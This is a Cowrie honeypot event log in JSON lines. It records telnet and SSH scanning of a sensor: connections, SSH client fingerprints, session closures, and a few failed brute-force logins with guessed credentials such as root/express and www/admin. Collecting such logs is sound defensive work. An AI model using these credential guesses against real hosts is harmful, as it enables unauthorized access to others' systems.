{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59440,"dst_ip":"10.17.0.5","dst_port":23,"session":"04838e6abbdc","protocol":"telnet","message":"New connection: 34.38.116.27:59440 (10.17.0.5:23) [session: 04838e6abbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.475841Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"9669c24694e3","protocol":"telnet","message":"New connection: 34.38.116.27:59442 (10.17.0.5:23) [session: 9669c24694e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.632644Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59448,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9f9b86b48e","protocol":"telnet","message":"New connection: 34.38.116.27:59448 (10.17.0.5:23) [session: dd9f9b86b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.788137Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":35452,"dst_ip":"159.203.135.109","dst_port":22,"session":"80a8b22ba9fd","protocol":"ssh","message":"New connection: 118.193.33.81:35452 (159.203.135.109:22) [session: 80a8b22ba9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.929175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.933460Z","src_ip":"118.193.33.81","session":"80a8b22ba9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59450,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe1fe433717","protocol":"telnet","message":"New connection: 34.38.116.27:59450 (10.17.0.5:23) [session: 1fe1fe433717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:50.945065Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f25ae9312f8b","protocol":"telnet","message":"New connection: 34.38.116.27:59464 (10.17.0.5:23) [session: f25ae9312f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.099660Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.103470Z","src_ip":"34.38.116.27","session":"f25ae9312f8b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.161174Z","src_ip":"118.193.33.81","session":"80a8b22ba9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59470,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa47ea28388","protocol":"telnet","message":"New connection: 34.38.116.27:59470 (10.17.0.5:23) [session: efa47ea28388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.257861Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa19336d7b9","protocol":"telnet","message":"New connection: 34.38.116.27:59474 (10.17.0.5:23) [session: caa19336d7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.412790Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59478,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1cf10f5266","protocol":"telnet","message":"New connection: 34.38.116.27:59478 (10.17.0.5:23) [session: 2d1cf10f5266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.566457Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceebafcba820","protocol":"telnet","message":"New connection: 34.38.116.27:59490 (10.17.0.5:23) [session: ceebafcba820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.719101Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59498,"dst_ip":"10.17.0.5","dst_port":23,"session":"1701c232b52e","protocol":"telnet","message":"New connection: 34.38.116.27:59498 (10.17.0.5:23) [session: 1701c232b52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:51.873391Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59514,"dst_ip":"10.17.0.5","dst_port":23,"session":"c350e80c721f","protocol":"telnet","message":"New connection: 34.38.116.27:59514 (10.17.0.5:23) [session: c350e80c721f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.029817Z"}
{"eventid":"cowrie.session.closed","duration":0.017505645751953125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.047132Z","src_ip":"34.38.116.27","session":"c350e80c721f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"express","message":"login attempt [root/express] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.061072Z","src_ip":"118.193.33.81","session":"80a8b22ba9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59526,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e57acc15d1","protocol":"telnet","message":"New connection: 34.38.116.27:59526 (10.17.0.5:23) [session: a4e57acc15d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.196335Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":49474,"dst_ip":"10.17.0.5","dst_port":22,"session":"2228bd05cf98","protocol":"ssh","message":"New connection: 162.223.91.130:49474 (10.17.0.5:22) [session: 2228bd05cf98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.327294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.331291Z","src_ip":"162.223.91.130","session":"2228bd05cf98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.349234Z","src_ip":"162.223.91.130","session":"2228bd05cf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.116.27","src_port":59540,"dst_ip":"10.17.0.5","dst_port":23,"session":"53bdd46cb9bd","protocol":"telnet","message":"New connection: 34.38.116.27:59540 (10.17.0.5:23) [session: 53bdd46cb9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.355106Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 9715","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 9715] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.526556Z","src_ip":"34.38.116.27","session":"53bdd46cb9bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"www","password":"admin","message":"login attempt [www/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:52.617102Z","src_ip":"162.223.91.130","session":"2228bd05cf98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:53.283767Z","src_ip":"118.193.33.81","session":"80a8b22ba9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:53.637647Z","src_ip":"162.223.91.130","session":"2228bd05cf98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.121.41","src_port":52096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b574e25a11de","protocol":"telnet","message":"New connection: 196.191.121.41:52096 (10.17.0.5:23) [session: b574e25a11de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:28:58.685205Z"}
{"eventid":"cowrie.session.closed","duration":13.049799919128418,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.905107Z","src_ip":"34.38.116.27","session":"a5cef12b1c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.810806035995483,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.910379Z","src_ip":"34.38.116.27","session":"f25ae9312f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.970845460891724,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.915808Z","src_ip":"34.38.116.27","session":"1fe1fe433717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.133660554885864,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.921663Z","src_ip":"34.38.116.27","session":"dd9f9b86b48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.292639255523682,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.925180Z","src_ip":"34.38.116.27","session":"9669c24694e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.45305061340332,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.928771Z","src_ip":"34.38.116.27","session":"04838e6abbdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.612416744232178,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.932211Z","src_ip":"34.38.116.27","session":"113773e9d4c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.77120304107666,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.935667Z","src_ip":"34.38.116.27","session":"01e61abf3260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.3949134349823,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.938447Z","src_ip":"34.38.116.27","session":"c0b0452617bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.933381795883179,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.942361Z","src_ip":"34.38.116.27","session":"83e4d8f0ee85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.784095287322998,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.945653Z","src_ip":"34.38.116.27","session":"8323e64c90cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.633826732635498,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.948925Z","src_ip":"34.38.116.27","session":"cff1d3f5a1af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.954443216323853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.960112Z","src_ip":"34.38.116.27","session":"b46f486754f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.11311936378479,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.964120Z","src_ip":"34.38.116.27","session":"8057eded6d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.272116422653198,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.968564Z","src_ip":"34.38.116.27","session":"489eb9e8efb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.429582118988037,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.972276Z","src_ip":"34.38.116.27","session":"f35f106b46f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.590710639953613,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.975703Z","src_ip":"34.38.116.27","session":"766c89ad77af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.751010179519653,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.979513Z","src_ip":"34.38.116.27","session":"1bc2bce68306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.911623239517212,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.983405Z","src_ip":"34.38.116.27","session":"f172b04815bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23880887031555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:02.987243Z","src_ip":"34.38.116.27","session":"a89e578103c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.647346019744873,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.002385Z","src_ip":"34.38.116.27","session":"53bdd46cb9bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.811696290969849,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.007925Z","src_ip":"34.38.116.27","session":"a4e57acc15d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.13866376876831,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.011957Z","src_ip":"34.38.116.27","session":"1701c232b52e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.296725749969482,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.015641Z","src_ip":"34.38.116.27","session":"ceebafcba820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.452509641647339,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.018856Z","src_ip":"34.38.116.27","session":"2d1cf10f5266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.614366054534912,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.027065Z","src_ip":"34.38.116.27","session":"caa19336d7b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.773017168045044,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:03.030778Z","src_ip":"34.38.116.27","session":"efa47ea28388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":34119,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a035e04c74f","protocol":"ssh","message":"New connection: 81.30.162.19:34119 (159.203.135.109:22) [session: 2a035e04c74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:11.586033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:11.590621Z","src_ip":"81.30.162.19","session":"2a035e04c74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.971402406692505,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:11.656476Z","src_ip":"196.191.121.41","session":"b574e25a11de","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:11.708215Z","src_ip":"81.30.162.19","session":"2a035e04c74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ","message":"login attempt [root/QQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:12.210856Z","src_ip":"81.30.162.19","session":"2a035e04c74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:13.331109Z","src_ip":"81.30.162.19","session":"2a035e04c74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165057182312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:15.159293Z","src_ip":"187.88.74.212","session":"7d9ddb098df9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":35984,"dst_ip":"159.203.135.109","dst_port":23,"session":"332666ebb780","protocol":"telnet","message":"New connection: 187.88.74.212:35984 (159.203.135.109:23) [session: 332666ebb780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:15.659373Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":47560,"dst_ip":"159.203.135.109","dst_port":22,"session":"3305195bba49","protocol":"ssh","message":"New connection: 157.7.113.83:47560 (159.203.135.109:22) [session: 3305195bba49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:16.545869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:16.551081Z","src_ip":"157.7.113.83","session":"3305195bba49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:29:16.708734Z","src_ip":"157.7.113.83","session":"3305195bba49","protocol":"ssh"}
